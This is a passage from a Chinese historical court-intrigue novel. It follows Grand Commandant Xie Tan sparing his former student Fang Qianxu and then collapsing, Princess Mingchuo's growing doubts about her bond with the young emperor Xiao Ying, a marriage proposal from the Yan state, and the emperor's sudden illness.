方千绪“啧”了一声,很不耐烦的样子。那天他因刀伤倒地,失血过多,动弹不得,但并未完全失去意识。他离萧忞最近,看得也最清楚。
“公主挡在长沙王身前,任谁来了也是射不中的。可天子那一箭,既要近得让长沙王惊骇脱手,又不伤公主分毫,准头需在毫厘之间,比射中长沙王还难。五十步外射铜钱啊……”方千绪脸上露出残忍的笑意,“军中能有此等箭术的,怎么也得封个百夫长。云松没领过兵,看不出来也就罢了。老师,你也看不出吗?”
他忽然换了称呼,谢聿微微色变,低头看向父亲。
“哦,对了,你没看见。”方千绪反应过来,“连你亲生的女儿都不服你了,何况陛下?”
“你不必摇唇鼓舌,挑拨离间。”谢郯眉目不动,“陛下成才,本就是我毕生所愿,陛下亦知我心意。”
“我忘了,老师是忠臣。”方千绪又笑,“可你已经油尽灯枯,命不久矣。陛下却风华正茂,春秋鼎盛……”
他突然看向谢聿:“等你死了以后,陛下还会知云松的心意吗?”
“哪里来这么多话!”谢聿皱紧眉头,“你若不选,我替你选!”
他说完就要伸手去取那柄匕首,方千绪往后一仰,一只手突然伸出来,谢郯拦住了儿子,轻声道:“放下。”
谢聿急道:“父亲!”
谢郯没再多言,在他手腕上一击。打得极巧,谢聿虎口一麻,匕首脱手落回托盘里,发出“当啷”一响。
方千绪突然纵声大笑。
“谢郯啊谢郯。”他揩了揩笑出来的眼泪,“你还真以为天下人怕谢太尉是你本事大么?他们怕的不过是你的家世!若不是出身谢氏,你以为你会比我强?除了阴布刀斧手,暗设鸿门宴,你还会什么?兵行诡道,制衡四方,离了我这些年,你做到了哪条?!如今竟然变得如此眼瞎耳
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聋,我略施小计就能杀到你面前!天子才十六岁,就把你哄得跟三岁小儿一般!可怜我经天纬地之才,竟然屈居你这样的庸人门下,还敬你助你,爱你怕你……可笑啊!”
谢郯看着他笑,笑到状若疯癫,到后来竟成了大哭,一边哭一边骂,眼泪止也止不住。
“当初你若是肯和大将军共同辅佐燕康王登基,或许今日还有回头之路。可是你为了你的女儿,为了独占辅政之权,把谢氏推到今日之势。你肯甘心,你问问你一双好儿女,问问你的子侄门生,谁肯甘心!历朝历代,又有哪个为君者容他人在卧榻酣睡的?”
谢郯双手握拳,任由他骂,竟是一声也不出。谢聿神色古怪,几次欲开口斥责,又悻悻闭上。好像其实他内心深处很赞同方千绪的话似的。
“你嘴上说的都是忠良节义——忠在哪儿了?萧氏儿郎哪个不是死于你手?国祚易姓,你还有何颜面去见先帝!到这地步,还要装模作样,同陛下谈什么舐犊之情,真乃古今第一伪君子!什么百年清名,做你的春秋大梦!谢氏全族大祸临头了——”
谢郯突然抓住了儿子的手,借了把力站了起来。谢聿下意识把他扶稳,谢郯转身要走,但是方千绪突然往前一扑,猛地抱住了他的腰,声音凄厉如裂帛:“老师!”
谢郯浑身剧震,低下头去看他,一滴泪猝不及防地从眼中落下来,正滴在方千绪仰起的脸上。他们的泪就这样混在了一处,谢郯颤抖着伸出手,拂过方千绪的眼下一片潮意。
“老师,白绫匕首都死状难看,毒酒又不能立死……”方千绪爬过来,紧紧地抱住谢郯的腰,把脸偎在他的大腿上,泪如雨下,“求你全我身后体面,赐我金印,我吞下可死矣!”
谢聿气急:“你!”可是刚“你”了一个字就说不出来了。他眼看着父亲的手覆到了方千绪的后脑上,眼中是从未对他表现过的心痛和怜惜。谢郯颤得那么厉害,几乎是靠着方千绪抱着的力道站在原地。
“老师,”方千绪的声调那样柔,让谢聿听着作呕,可是谢郯偏偏听不出来,“你若要我死,就把你的金印赐我……”
“你住口!”谢聿红了眼睛,一把抄起白绫,利索地套在方千绪脖子里。方千绪被他扯得整个人往后倒,谢郯猛然失了平衡,竟跌倒在地。谢聿也顾不得扶,用尽了全身力气勒紧白绫。方千绪很快就因为窒息涨红了脸,一只手徒劳地想扯开白绫,另一只手伸出来,绝望地朝谢郯张开五指,腿脚在地上乱蹬,牵动伤口,洇出一片鲜红。谢郯着了魔似的看着他的伤,突然发出了一声凄厉的痛号:“住手!”
“父亲……”谢聿叫了一声,竟然下意识地真的松了手。方千绪爬到一边,大口大口地呼吸,咳喘不休。
谢郯一双眼睛血红,声音几乎被方千绪的咳喘盖过去:“不要杀他……”
谢聿:“他是谋逆的死罪啊!”
谢郯什么都没说,只是抬头看了他一眼。就这么一眼,谢聿就知道了,他说什么都没用了。有两个执金吾卫已经被惊动,从囚室外面问谢郯:“太尉?发生何事了?”
“不要杀他。”谢郯又说了一遍,这次没有要谢聿来扶,支撑着自己站了起来,“来人。”
那两个执金吾卫马上进来:“太尉?”
“去告诉你们中尉,”谢郯有气无力地吩咐,“找几个人,把他流放去辽东,今生今世,不许他再踏入大雍一步……”
两个执金吾卫都愣在那里。辽东在极苦寒之地,已不是大雍的地界,原本被陈氏占着,后来被大燕所灭,乌兰郁弗派屠珲部镇守,拔拔真又自立为王。反正抢来抢去的,乱得很。
两人看着被打翻的毒酒,散在地上的白绫,红了眼的中书令和那个倒地不起的犯人,眼里都是茫然和无措。
谢郯抬眼:“还不去?”
两个执金吾卫立刻唱了一声诺,退了出去。
谢聿咬着牙,本不想上前,但是看着父亲脸色惨白,摇摇晃晃,一副快要站不住的样子,还是沉默着上去把人扶住。谢郯却甩开他的手,转身要出去。
方千绪在背后又叫了一声:“老师。”
谢郯停住,但没有回头。
“黄泉千丈,你我各有归处。”谢郯最后说了一句,“不必相见了。”
囚室的门重新在他们身后闭上。谢郯也不知道哪来的一股劲,简直比他身子康健的时候还健步如飞,谢聿甚至要小跑才能跟上。这个时候,他却突然又停了下来,谢聿险些撞到他身上。
“我要去见陛下。”谢郯突然说,“我要……”
可他要什么,谢聿没听见了。谢郯先是咳了一声,喉中似有粘痰,唇边却蜿蜒着流下了一丝血迹。谢聿惊住,惶然地伸了手去,又不知道该碰何处。眼见着谢郯突然“噗”地一声,喷出了一大口血,眼睛瞪着,就这么直挺挺地倒了下去。
20.第 20 章
明绰远远地看见上阳宫外面停了辇,心中便疑惑是谁来了。太尉病重,这两天连太后都回了娘家,一应的事务也就都转去了太尉府,上阳宫里倒是难得清净了几日。她赶紧跑进去,但一只脚刚踏进正殿,看见来人的一个侧脸,便毫不犹豫地转身就跑。
萧盈已经发现了她:“溦溦?”
明绰只当没听见,提起裙子跑得飞快。萧盈跟在身后,眼见着明绰一溜烟就跑回了自己的偏殿里。萧盈被她关在门外,一时颇为尴尬,进退两难。门外伺候的人这才反应过来,呼啦啦跪了一地,给陛下请安。萧盈一只手从袖底伸出来,示意她们赶紧起来。
宫人们你看看我,我看看你,一时神色各异,陛下可是从来没有来过上阳宫。萧盈垂眼看到她们的神色,又摆了摆手,示意她们都下去。宫人们便都起来,刚要唱诺,萧盈又使了个眼色,于是众人都安安静静地退了下去。
萧盈这才轻轻地敲了敲门:“溦溦?”
里面一点动静都没有。
萧盈站在门口,眉头都快拧成了结。那天在太极殿他依稀看到有个像明绰的背影跑出去了,后来问楚培,说长公主确实来过,本来是要来劝中书令留人的,但是来了发现陛下已经下令了,就走了。那时候萧盈还没有多想,但从那天开始,明绰很明显一直在躲他。
自从当年她到含清宫跟一起进学开始,一直都是明绰比较黏他。发现他和母后之间关系微妙,他从来不来上阳宫,就总是明绰一趟一趟地往含清宫跑。以前也有因为谢郯生病而短暂罢课的时候,明绰总会找个理由去陪他,叽叽喳喳的,跟他说好多事。要是碰上什么筹备年尾祭典,实在是碰不上面,明绰也会遣人送“功课”去含清宫,借机夹带点儿什么雪积在上面会变甜的腊梅枝,什么母后赏的西域小玩意儿……
这还是头一回,明绰这么长时间不来找他。
萧盈一开始是担心她受了伤还没养好,派了任之和宋夫人去打听,回来都说长公主没事了,他犹自不信,还把给长公主看伤的太医召了过去,再三确认明绰早已好了,也不是惊吓过度,就是不来见他。于是萧盈也开始给上阳宫送东西,熏香,宝石,新奇菜色……都打着孝顺太后的名义,流水似地往上阳宫去。谢拂霜被他的殷勤弄得莫名其妙的,明绰还是没反应。萧盈终于开始琢磨了,他是哪里得罪了她?
“溦溦,”萧盈站在门口,从门缝往里递话,声音轻轻的,怕人听见,“皇兄要是哪里做错了,你好歹告诉一声。”
里面还是没动静,好一会儿,传出来闷闷的一声:“皇兄没做错什么。”
坏了。萧盈咬着下唇琢磨,他真做错了。可是哪儿呢?
太极殿事变之后,袁增当天就领了诏命,太后下的令是“即刻出发”,要他赶在邓霄的罪名和死讯传回去之前镇住荆州军。袁增连家都不曾回,当即出发去宿州的大营点兵,三天之内粮草集结,象征性地回了一趟建康,由天子登城楼送大军出发。
送完袁氏父子,就是商量怎么处理烂摊子。王诃已死,崔夫人顾不上悲痛,着急喊冤,说不知道那些信是方千绪冒充的,但她信中多有不敬之词,难逃谋逆嫌疑,眼下也下了狱,准备发落。王家受此重创,御史中丞之位空了出来,崔挺也被撸了下去,朝中颇有动荡。
另一头,李姬和长沙王那两个儿子还没找着,朝会上就已经为找到以后杀不杀孩子吵了好几架。萧盈听着那些主张“为宗室留人”的大臣们进言,好像还是对他的身世有些疑虑,所以想着不杀方千绪。但是从太后到太尉父子,一开口都是此人绝不可留,萧盈拗不过,只好默许了太尉的意思。
可是杀也是谢郯说要杀的,最后不知道怎么又改了流放,萧盈还想问问怎么回事呢,谢郯反而给他来了个吐血昏厥。他已去太尉府里看过,谢郯这回真是神志不清了,他问都没处问去。
萧盈把这一件一件的事儿都盘了一遍,也没想出来到底哪里得罪了明绰。
萧盈一时也没了辙,便有意道:“长公主去含清宫,向来都是有什么好的都拿出来招待,没成想今日朕来一趟,长公主也不知道去哪儿了,叫朕这番好等,连面都见不着。也罢——”
他话还没说完,明绰就在里面提高了声音:“皇兄招待我不过是吩咐一声,我也吩咐一声就是!”当即便叫了身边伺候的宫人过来,隔着门让她领着陛下去膳房。
只可惜外面的人早被遣了下去,一句回的音儿没有。明绰等了会儿,这才跑出来悄悄打开一条缝,外面谁也没有,只看见一个哭笑不得的萧盈。
她又要关门,但是萧盈动作飞快地把手伸了出来,明绰差点把他手夹门缝里,只好松开手,萧盈顺势把住门,往里一推,完全打开了。
他倒是没进来。其实迁宫以前他也住这儿,但如今两个人都大了,就算他是天子,硬闯妹妹的宫室也不合适。于是就站在门口,眼睛直直地盯着她看。
明绰脖子里的伤已好得差不多,只留下一条淡粉色的疤,还没完全消去。方才正殿里瞥到一眼,分明看见她身上披了外出的大氅,眼下已被她脱了下来。里面穿的和平时差不多,她从不喜欢过多累赘。不像谢星娥,小小年纪就喜欢珠玉满身,萧盈每回见到她都觉得她身上响得烦人。明绰的身份更尊贵,但也就戴了一对金臂钏。头面上什么多余的妆饰也没有,只挽了个松松散散的髻,有意歪在一边。脸面更加素净,只有唇上点了胭脂,却已足够。
萧盈不动声色地移了移视线,不敢多看她,只道:“就当是朕哪里做错了,来给你赔罪,你要怎么出气都行。”
明绰低下头:“我没有生你的气。”
“那是为什么?”萧盈猜了猜,“是太后……?”
明绰摇了摇头,不是萧盈想的那样,谢拂霜没有因为这件事拘着她。但她想一想,又点了点头。
母后还在怪她。芸姑回来了,但是当时母后不得已让人打了她板子,芸姑到现在走路还有点儿一瘸一拐。谢拂霜这几天很少跟明绰说话,非要说,语气也总是冷冷的。连太父病到这样,她也不要明绰跟她一起去太尉府。
明绰又委屈又害怕,心里还有一层更说不出的难受,好像她失去了一直疼爱她的母亲,只剩下太后。连皇兄也不是再她的皇兄,只是天子。
太后威严而残酷,天子隐忍而机敏。他们斗来斗去,谁都没有注意到明绰那个小小的世界已经悄然地碎裂。可是这碎裂太微不足道了,明绰发现她似乎是唯一一个在乎这个真相的人,就连萧盈自己也不在乎。他是怎么想的,一点儿也没有让明绰知道。他痛苦过吗?追问过吗?还是只要他坐在那个位子上,是不是亲生的根本就不重要?宗亲们就算听到了方千绪的话也可以当做没听到,他们都太明白什么时候应该沉默。
江山燃烧得轰轰烈烈,小公主的眼泪只是被蒸发的一缕烟。既没有人来在意,她也不想说给任何人听。
明绰沉默着,眼睛一眨,竟然又掉了一滴眼泪。萧盈不自觉地踏进了她的房间,朝她伸出了手。明绰突然从他的眼神里看到了一些似曾相识的东西,那天在崔挺的中尉署,他突然捧住她的脸凑近,也是这样的神情。
然后萧盈的指尖轻轻触到了明绰的脸。
明绰僵在那里,突然大脑一片空白。两个瞬间的脸短暂交叠在一起,仿佛天边一道惊雷,把黑暗里某个庞然大物照得雪亮,又迅速重新归于混沌。明绰不敢去看那个庞然大物的形状,好像它是活的,将醒未醒,在她心里发出模糊的低吼。
萧盈很担忧地看着她:“溦溦?”
明绰紧盯着他的脸,感到他的重睑比任何时候都更加显眼。他们不是兄妹!那头巨兽发出的原来是这个声音。明绰头晕目眩,眼前只有那一天萧盈托着她的脸靠近的样子。萧盈的眼睫像鸟羽一样轻而密,剧烈地颤动着,掩住他的眼睛。他的眼睛……
明绰的视线落到萧盈的唇上。那时他的眼睛看着她的唇。
萧盈已经把手放下,想了想,突然道:“那天袁煦出城,桓宜华穿了喜服去送……”
明绰一愣:“啊?”
天子虽赐了婚,但桓氏这样的门第,给女儿备婚,耗上两年三年都是很正常的,所以一直说着筹备,婚礼还远。可是如今袁煦跟着父亲调任荆州,还不知道什么时候能回来,桓宜华深恐家里借机反悔,干脆身着喜服去城门相送。
萧盈细细地讲给明绰听,说袁煦如何大受感动,下马携夫人给袁增磕头,又给天子磕头,就算做过门。百姓们就爱看这样的,轰天叫好,连袁增的马都惊了。父子两个一出城,桓宜华就让收拾了细软,干脆搬到袁府去,说皇天后土为证,她已是袁家媳。丈夫远征,她要去伺候婆母,照顾幼弟。
明绰听得愣在那里,一半是让桓宜华的大胆吓着了,另一半是不明白萧盈怎么突然跟她说这个。萧盈也不太习惯说这些,他们俩之间,一向是明绰叽叽喳喳地跟他说热闹。见她不应,萧盈也说不下去了,神色悻悻的,轻声给自己解释了一句:“朕以为你爱听热闹呢。”
他搜肠刮肚,也就找出这么一件热闹可以说给明绰听。
明绰看着他,“哦”了一声。皇兄这会儿让她有一点熟悉的感觉——她一想到这里,就在心里提醒自己,他不是“皇兄”。可是不知道为什么,这话在心里多念几遍,也泛出了别样的滋味。
明绰把脸拉下来,只道:“袁煦的热闹有什么好听的!”转身又走。萧盈愣在那里,为难地扯了扯嘴角。他忘了,明绰特别不喜欢袁煦来着。但是明绰愿意开口说话了,总是好事。萧盈心放下来一半,看着明绰往床边一坐,有意扭过脸,不肯看他。
萧盈又问了一遍:“你今天去哪儿了?”但是明绰没理他。
其实明绰有话想说,只是不敢。她想问问萧盈是不是早就知道自己的身世了,
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但又模糊地觉得,要是真把这件事说出口,有些东西就无法挽回了。
她今日赶到的时候,大牢已经没有了方千绪的踪影。楚培说已送他上路了。只是这人好像真有些未卜先知的本事,怎知长公主一定会来。他托楚培转交了一个锦囊给明绰,明绰打开就只有几个字,“东长巷尾”。
那字条现在就在她床后的箱子上,被大氅盖着,纸面微潮,都是当时她手心的汗。
萧盈很明显已经知道了,那他是怎么知道的?知道了多少?只是知道自己不是谢拂霜生的,还是连亲生父母的身份也都知道?这一切她只能猜。
他不可能从小就知道真相。她记得十岁那年,她刚去含清宫的时候,萧盈对她就带着一份隐秘的讨好。他从明绰口中得知太后喜好熏香,还曾经花了许多心力去查古籍,自己调配了一味香,让明绰带回去送给母后。只是谢拂霜看也没看,顺手就赏赐给那天正好进宫的谢星娥了。
还有一些很微末的小事——以前宋夫人对她也很好的,但不知道从什么时候开始,态度就有些微妙的冷淡了。原先她没放在心上,现在觉得可能和母后有关。难道是母后做了什么,让萧盈意识到这不可能是一个母亲做得出来的?那到底会是怎样残酷的事,让他不得不接受这样的事实,甚至让宋夫人都恼怒到迁怒于明绰?
萧盈实在不会哄人,见她不肯回答,自己也不知道该说些什么,只好走过来,也往她脚边坐。往日里明绰去看他,也总是这么不计较地坐在脚踏上。明绰垂头看了他一眼,突然想到,那盒熏香赏了谢星娥的事儿,她到今天也没敢跟萧盈说。
明绰无声地从床上下来,靠着萧盈坐在了他身边。萧盈转头看着她,明绰还是什么都没说,挽住了他一条胳膊,头歪过来,靠在了萧盈的肩膀上。萧盈僵了一僵,突然感觉到一片温热。
“溦溦?”萧盈吓了一跳,“怎么了?”
他想把手抽走,去看明绰的脸。但是明绰执着地把脸埋在他肩上,抱着他的胳膊不让他动。好一会儿,突然闷着声音说:“对不起。”
对不起什么呢?她自己也不知道,她甚至没有勇气问清楚母后到底对萧盈做了什么。也许就是为了她的没有勇气,为了她这么多年的天真快乐,视而不见。但是萧盈好像明白了什么,他突然伸出手,轻轻地搭在了明绰的后脑。
明绰感觉到了他的动作,哭得更加厉害。她好像突然从悬崖跌落,苦海里都是过往的碎片,被激流裹着,每经过她身边一次就划出一道后知后觉的血口。
萧盈任她哭,手掌轻轻地抚着她的后脑,突然道:“你放心。”
明绰抬起头,对上了萧盈的眼睛。他侧着脸,挨得极近。明绰本想说什么,让他这么看着,便愣愣的,只问:“我放心什么?”
可是等萧盈开了口,刚说了“无论”二字,明绰又猛地抬起手,掩住了他的口。她不敢听“无论”后面跟的话,他要挑破他们不是兄妹,还是挑破他和谢拂霜之间的你死我活?
她的眼神那样惊恐,让萧盈也再说不出口。只是看着她,心里一下一下的,牵着疼。
许久,萧盈伸手攥住了明绰的手,突然低下头,吻了吻她的指尖。
明绰不知道是因为他这个动作,还是门外突然传来的声音让她猛地收回了手。萧盈面色如常,镇定地顺势抬手理了理垂下来的袖袍,扬声应道:“何事?”
门外传来通报的声音:“桓令君求见。”
明绰也扬声回道:“母后在太尉府!”
门外的声音顿了顿,然后重新开口。明绰这才听出来,这不是她宫里人的声音,而是任之。
“长公主恕罪。桓令君已在含清宫相候,求见陛下。”
明绰一下子住了口,脸色复杂地看了萧盈一眼。原来如今朝臣已经可以直接进宫见天子了。
萧盈站了起来,低头看了看她,似是还想说什么,但视线落到明绰方才那只手上,又终究有些惴惴,只匆匆丢下一句:“朕先去了。”便推门而出。
他走得太快,几乎有些落荒而逃的意思。任之跟在身后,险些赶不上他的步子。
“桓令君何事?”萧盈敏捷地坐上轿辇,抬手示意快走。任之跟在辇旁,匆匆地给他汇报。
“鸿胪寺收到了燕国国书,尚书台已核准,送来请陛下裁夺。”
“燕国?”萧盈轻轻皱起了眉头,离大燕上次递国书都快一年多了,那次是乌兰徵写信来服软。“又怎么了?”
他嘴上虽问,心里却没太在意。既然尚书台已经同意了,那应该不是什么大事。最后给天子定夺也就是走个流程,让他说几句场面话,再去回复使者。
他突然想起什么,也不等任之回答,又问:“乌兰徵不是远征西海去了吗?”
“是段太后代乌兰国主所请,”任之回答他,“求陛下将大雍宗室公主许配,以结两朝秦晋之好。”
21.第 21 章
“桓廊他敢?!”谢拂霜的音调一下扬起,像崩断的弦。庾夫人赶紧做了个手势,示意她小声些,但谢拂霜视若无睹,只转过头来问谢聿,“你也同意了?”
谢聿没看她的眼睛,低了头,不响。
几年前他们还商议着出兵剿乌兰,如今大燕已在长安坐稳江山,上次跟段太后交手,大雍也没有讨到多少便宜。西海那边传出风声,乌兰徵在战场上不输乃父,兀臧部节节败退,大局初定。时局如此,连当初主战的桓廊也不得不承认,眼下最好跟大燕和平相处。
段太后到底是汉人,也不愿意和大雍起兵戈。她此时递来国书求娶公主正是良机,尚书台马上就批示了“准”。桓廊还玩儿了点儿心计,知道太后爱女心切,所以拿去给陛下批,也算是表个态,支持陛下亲政的意思。
没想到陛下连尚书令的面子都驳了,说什么也不肯。
天子不允,那便要重臣们组织廷议,商量个对策出来。但商量来商量去,还是觉得没有拒绝的理由。段太后只求“宗室公主”,倒也未必要长公主这般尊贵。可是坏就坏在藩王接连叛乱,他们的子女都跟着获罪贬谪,眼下宗室之中除了东乡公主已无适龄女子。若是再往旁系去找,那已不姓萧了。若是段太后以为这是羞辱,便有理由出兵犯雍,这可越发得不偿失。最后结论还是那个,只能东乡公主去。
谢聿回太尉府,才刚开了个口,妹妹就不愿听了。
谢拂霜梗直脖子骂他:“你怎么不让你女儿去!”
“我女儿不是公主。”谢聿只道,“若她是公主,我自肯让她去!”
庾夫人朝谢聿瞪起了眼睛,脸色难看,但没敢说什么。谢拂霜看在眼里,冷笑了一声道:“本宫封她个公主又有何难?此事前朝亦有先例——”
只听门外传来一个声音:“星娥姓谢,不配封公主。”房内三人都是一惊,庾夫人第一个站起来,迎到门边去扶。谢郯吐血后一直卧床不起,昨天才微微有了好转,能自己吃得下饭了,眼下让一个婢女扶着,走得甚为艰难。谢聿见状也上来扶,夫妻两一个一左一右,几乎是把他架了进来。唯独谢拂霜站着,并不肯来扶。
谢郯坐下,说不出话,只是喘。
谢聿:“父亲,我和拂霜在说……”
谢郯抬了抬手:“听见了。”
兄妹两个便都不说了,等着谢郯发话。但他不提这个,只从怀里抽出一封信来,交给谢聿:“把这个发去幽州,让你兄弟回来。”
谢聿低头一看,信是写给他堂弟谢维的。谢郯的弟弟早逝,谢维在太尉府长大,如同亲生。当初北边的陈氏仍在时,幽州是大雍对抗陈氏的前线,谢维奉命领幽州事,已多年不曾回家。
谢聿有些茫然,不明白谢郯为何此时要把谢维召回来。谢郯抬头对谢拂霜道:“太后,长沙王余孽到现在还没找到,足见楚培不堪大用。执金吾卫是国之重器,不能交在这小儿手中。让谢维回来掌执金吾卫吧。”
谢拂霜微微皱眉,脸上仍有疑惑,但还是应了一声:“好。”
谢郯点点头,他似是想咳嗽,但连咳嗽的力气都没有,发出来的就只是难听的喘,胸腔里“呼哧呼哧”地响个没完。谢拂霜的眉头皱得越发紧,到底还是凑上去。庾夫人给她让了个位置,她跪坐在父亲身边,轻轻地在他背上给他顺气。
“我知道,”谢郯缓过一口气,朝她道,“你舍不得女儿。”
谢拂霜的手停下来,木着面皮,不搭话。
谢郯也没再说什么,口吻变得像下命令:“你亲自写信给段太后,就说东乡公主年纪尚幼,你膝下单薄,让公主在你身边再陪两年。等公主满了十六岁,便送她去长安完婚。”
谢拂霜听到前半句时眼中还闪出了光,但是那光迅速熄灭,成了两抹灰烬。
“父亲……”她的声音有些发颤。
谢郯只当没听见:“段太后也有女儿,想必会体谅,不至于两年都不愿等……”
“父亲!”
谢郯终于停下来,谢拂霜看着他,眼中有泪,但她不肯让眼泪落下来。谢郯始终没有看她的眼睛。
“你出嫁的时候,为父也心疼。”良久,谢郯轻声道,“但女儿总是要嫁的,东乡不能留在你身边一辈子。”
谢拂霜下唇剧颤,说不出话。她是嫁了,可是太尉府到宫城路远几何?建康到长安又路远几何!她为何不能把女儿留在身边一辈子?建康有那么多的名门权贵,选谁不行?——可是谢郯抬起头看着她,目光那么冷,几乎是一个警告。
他就是要把明绰送走,彻底断了她的念想。再给两年已是天大的恩赐,她若识相,就知道此时该妥协了。
谢拂霜突然了然地笑了一声,像是在笑自己。她站起来,低头整了整压皱的裙裾,一滴泪随着她的动作坠下,谢拂霜迅速地用手背擦去。
“是啊,女儿总是要嫁的。”她重新昂起头,“我也早已嫁了人,真不知道为何还要在这里。”
她说完这句话,转身就走,甚至没有跟谢郯告别。庾夫人茫然地看向谢郯和谢聿,但他们父子两个都没有要追出去的意思,她只好提起裙裾,匆匆地跟上去,口中连声唤“太后”。
谢郯阖上了眼睛,似是累极了。
“父亲,”谢聿轻声道,“儿子扶你回去歇息吧?”
谢郯摇了摇头:“听说今日廷议,陛下当众申斥了你?”
谢聿眉尖轻轻一跳,意外父亲尚在病中,怎么会知道得这么快。萧盈对待朝臣从来温和绵软,善纳谏,常施恩。太后以前常说他无力御下,谢聿也是今年才咂摸出味儿来,萧盈这是知道手里没什么筹码,只能春风化雨,看着绵软,其实都是拉拢人心。想做什么,往往借力打力,从不硬来。唯独今天翻了脸,态度之强硬,谢聿从未所见。
可惜翻脸也没用。此事并不涉及朝中大姓争权,陛下无处使力。反而是群臣都就事论事的时候,就看出来陛下根基之浅了。但凡他威重服人,总会有人帮腔,不至于如此。
萧盈似乎也意识到了这种局面对他的不利,越发情急,当众申斥了中书令,更像个发脾气的小孩子。
谢聿对此事没再说什么,反倒斟酌着字句道:“父亲,方……那位所言,其实不无道理。”
谢郯眼皮垂着,若有所思。好一会儿,突然问:“他密诏执金吾卫,是谁把那假虎符从宫里送出来的?”
谢聿一怔,倒是让父亲问住了。萧盈授意崔挺在众宗亲面前杀太尉府的人一事,其实他们都心知肚明。但太后已经处置了崔挺,假虎符一事也就过去了。谢郯问这个,那无非就是含清宫里的人,萧盈身边的亲信也没有几个。
“陛下也长大了。”谢郯语气淡淡的,“还留着乳母在身边,像什么话。”
谢太尉一句话定了乾坤。鸿胪寺次日便拟诏,由燕国使者带回。月底,谢维自幽州返京,奉太后令掌执金吾卫,楚培仍任右中侯。
甫一上任,谢维便接管了整个建康的防务,先找长沙王余孽。城中原本是五家为伍,五伍为里,设里长治理。但京中多权贵,里长们也多跟世家沾亲带故,都是滚刀肉,楚培镇不住他们。谢
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维出手便是铁腕,先砍了两颗脑袋立威,然后下令,若是查出窝藏长沙王余孽的,全伍连坐。不过七日,躲藏多时的李姬就被抓出来处以极刑。李姬出身民间,窝藏她的正是她幼时的邻居,眼下一并发落。谢维说到做到,全伍五户人家全部杀光,尸体在城墙上吊成了一排。
这头雷霆手段使完,长沙王那两个儿子倒是没杀。太尉下令,虽把他们都下了诏狱,但连侯爵都未褫夺。此举一行,朝中便都闻出风向不对。陛下能在太后手里争权,说到底是因为太尉的支持。陛下申斥中书令一事,恐怕犯了太尉的忌讳。
说得不好听一点儿,太尉这还没闭眼呢,陛下也太着急了。
含清宫再次变得冷冷清清。
上阳宫外传来异响的时候,明绰正陪着谢拂霜用饭。自从太尉府回来以后,谢拂霜消了气,对明绰的态度好了许多。明绰亦很乖觉,听见宋夫人的声音,先是下意识放下了碗筷,随后又看了一眼母后的脸色,没动。
外面乱糟糟地传进来许多人声,宋夫人被拦了下来。但她不肯走,扯着嗓子,哀泣一般:“陛下犯了心痛之疾,求太后见怜开恩!”
明绰的心一下子吊了起来:“母后!”
谢拂霜不为所动,好像没听见外面有人,平静地给她夹了一筷子菜。
宋夫人还在喊:“太后!开恩哪!”
明绰想站起来,梁芸姑的手立刻搭到她肩膀上,不轻不重地唤她:“长公主。”
“奴婢甘愿万死,只求太后开恩!不要折磨陛下了!”
谢拂霜终于放下了碗筷,眉间似有不快:“病了就去请太医,来上阳宫聒噪什么?”
她抬了抬手,示意灵芝出去问。明绰看着灵芝快步跑了出去,外面的声音稍微静下几分,不多时灵芝便又跑回来,回禀说陛下晌午就不适,但是太医令只让仍旧吃着原先的方子,宋夫人这才来求太后。
谢拂霜听完也只垂了眼皮,淡淡道:“那听太医的就是了。”
明绰突然站起来,重重地甩开梁芸姑,转身就走。
谢拂霜低声道:“站住。”
明绰站住脚,听见谢拂霜在身后道:“坐下吃饭。”
“我要去含清宫。”
谢拂霜的声音冷冷的:“你去有什么用?”
明绰转回头看了她一眼,眼中是掩都掩不住的伤心责备。
萧盈是这样没有分寸的人吗?平时朝会他都很少开口,又怎么会突然力排众议,激怒权臣?她不信母后也不明白。
“皇兄都是为了我。”明绰说得很简单,“我要去。”
她说完就快步走了出去。梁芸姑在她身后叫了一声,回头去看谢拂霜的眼色。但是谢拂霜没有让人拦,她就这样静静地看着女儿跑了出去,眼中的神色复杂到难以言明。
梁芸姑第一次从她眼中看到了松动,一种近乎柔软的怜悯。谢拂霜抬头,看到了梁芸姑看着她,突然苦笑了一声,那怜悯竟像是对着自己。
十几年的冷漠与残忍之后,她竟会在今日从那个孩子身上看到“同病相怜”这种东西吗?未免太可笑了。
谢拂霜示意灵芝过来:“你也去含清宫一趟。告诉太医……”
她停了下来。灵芝等着她往下说,可谢拂霜没再出声。已经这么多年了,只这一次,还能有什么用吗?
她垂下眼,低着头,那一瞬间,没有人看得到太后脸上的神情。然后她漠然地重新端起了碗筷,面无表情地继续吃饭。
灵芝乖觉地退了一步,没有再问太后本来想吩咐什么。
22.第 22 章
几个铜的烛台被掀倒在地,大部分蜡烛都从中断折,像被砍下来的脑袋,唯有一根烛芯勉强相连。纸笔散了满桌,洒着斑斑的墨。床边有个鎏金的水盆,里面吐了什么东西。床幔后面有个人影,缩得那么小,随着有人进来的脚步声而轻微地动了动。
“皇兄……”明绰唤了一声,轻轻地挑开了床幔。
萧盈躺在床上,闭着眼睛,紧紧地皱着眉。身上只有一件中衣,被冷汗黏在了身上。披散的长发覆在脸上,沾得凌乱。他没应,好像根本没听进是谁进来了。明绰跪坐到床边,伸出手,给他把汗湿的长发从颊边捋开。萧盈被她的动作惊了一下似的,突然睁开眼,一把抓住了她的手腕。
他的力气太大,明绰没忍住“嘶”了一声。有那么一会儿,萧盈好像完全认不出来的人是谁,眼底一片血红,带着明绰从未见过的恨意。她几乎听不到他的呼吸声,他像一头潜伏起来的野兽,攒着劲,连呼吸都不舍得浪费力气,直到明绰又叫了一遍“皇兄”,萧盈眼中才浮起一阵恍惚,慢慢地松开了手指。
“你怎么来了?”
他的声音很哑,明绰险些没认出来。其实她从来没有撞见过萧盈发病的样子,往日里都是知道他病了再去探望,他最多是脸色差些,身上的药味浓些。见到他这样,明绰一句话都还没说出来,眼泪已经先下来了。
萧盈的眉头皱得更紧,伸出一只手来摸了摸她的头发:“别哭。”
“皇兄,”明绰的视线落到萧盈微敞的衣襟上。她记得宋夫人说过按摩哪个穴位来着可以缓解,可是哪一个呢?她根本一窍不通,一时急得只是落泪,又问,“你哪里难受?”
他哪里都难受。心脏每跳一下都像是要炸开来,呼吸间牵扯着摸不到的痛处,早些时候还只是轻微的刺痛,到现在他已经感觉不到他的手臂了。恶心,冷汗出完就是呕吐,现在眼前都是花的,看不清她,却还是勉强挤出了一个笑:“太医施过针了,没事。”
明绰吸了吸鼻子,环视了一圈,又小声问他:“皇兄,含清宫里的人呢?”
